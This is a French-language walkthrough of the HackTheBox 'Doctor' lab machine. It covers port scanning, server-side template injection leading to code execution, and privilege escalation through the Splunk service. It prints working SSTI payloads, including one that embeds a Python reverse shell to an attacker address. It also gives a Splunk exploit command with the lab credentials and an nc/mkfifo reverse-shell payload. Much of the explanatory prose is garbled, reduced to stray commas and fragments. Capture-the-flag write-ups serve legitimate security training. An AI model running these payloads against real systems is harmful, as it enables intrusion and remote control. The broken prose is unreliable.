Piratez la boîte. Docteur pas à pas. SSTI à RCE. LPE via Splunkd

Je continue à publier des solutions envoyées pour la finalisation des machines depuis la plateforme HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information.





La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter depuis un ordinateur de travail ou depuis un hôte où il y a des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information :)





Informations organisationnelles

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





Recon





IP 10.10.10.209, /etc/hosts.





10.10.10.209    doctor.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



  .





  /etc/hosts.





10.10.10.209    doctors.htb
      
      



, .





 Entry Point

.





  , .





  .





  , , XSS.





   , .





  , <item><title>. , .





  , .





  XSS, , SSTI. .





 :





</title></item>{{77}}
      
      



</title></item>{{7'7'}}
      
      



</title></item>{{config.items()}}
      
      



  . SSTI , :





{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
      
      



  :





import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
      
      



  . :





</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
      
      



 USER

adm, . Apache pas, secret ..





 Et nous trouvons une chaîne intéressante qui est le mot de passe de l'utilisateur.





 Maintenant que nous avons les informations d'identification, essayons d'élever les privilèges en exploitant le service Splunk fonctionnant sur le port 8089. Nous utiliserons cet exploit (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).





python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
      
      



 Et nous obtenons une rétroconnexion avec notre auditeur.












All Articles